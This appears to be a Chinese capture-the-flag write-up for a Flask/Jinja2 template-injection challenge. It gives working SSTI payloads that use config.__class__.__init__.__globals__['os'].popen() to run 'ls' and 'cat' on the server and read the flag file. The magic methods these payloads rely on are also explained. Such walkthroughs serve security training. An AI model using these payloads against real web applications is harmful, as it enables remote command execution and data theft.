Web_python_template_injection-攻防世界

题目

 

题目提示python模板注入

从零学习flask模板注入 - FreeBuf网络安全行业门户

在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式

playload

{{8*8}}

表达式被执行了

{{config}}查看config文件,测试配置文件是否有被禁用

直接查看服务器的本地文件有哪些,

playload:
/{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}

class:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。
init 初始化类,返回的类型是function
globals[] 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
os.popen() 方法用于从一个命令打开一个管道。

魔术方法 

__class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类  // __base__和__mro__都是用来寻找基类的

__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用
 

 返回了fl4g,读取fl4g

/{{ config.__class__.__init__.__globals__['os'].popen('cat fl4g').read() }}

相关推荐

最近更新

  1. leetcode705-Design HashSet

    2024-04-03 17:12:04       8 阅读
  2. Unity发布webgl之后打开streamingAssets中的html文件

    2024-04-03 17:12:04       8 阅读
  3. vue3、vue2中nextTick源码解析

    2024-04-03 17:12:04       8 阅读
  4. 高级IO——React服务器简单实现

    2024-04-03 17:12:04       8 阅读
  5. 将图片数据转换为张量(Go并发处理)

    2024-04-03 17:12:04       7 阅读
  6. go第三方库go.uber.org介绍

    2024-04-03 17:12:04       8 阅读
  7. 前后端AES对称加密 前端TS 后端Go

    2024-04-03 17:12:04       9 阅读

热门阅读

  1. Rust 中 .expect()用法

    2024-04-03 17:12:04       4 阅读
  2. android 音视频基础知识--个人笔记

    2024-04-03 17:12:04       4 阅读
  3. Chrome安装Vue插件vue-devtools

    2024-04-03 17:12:04       4 阅读
  4. postcss安装和使用

    2024-04-03 17:12:04       3 阅读
  5. Chatgpt润色论文

    2024-04-03 17:12:04       5 阅读
  6. Dubbo 3.x源码(18)—Dubbo服务引用源码(1)

    2024-04-03 17:12:04       4 阅读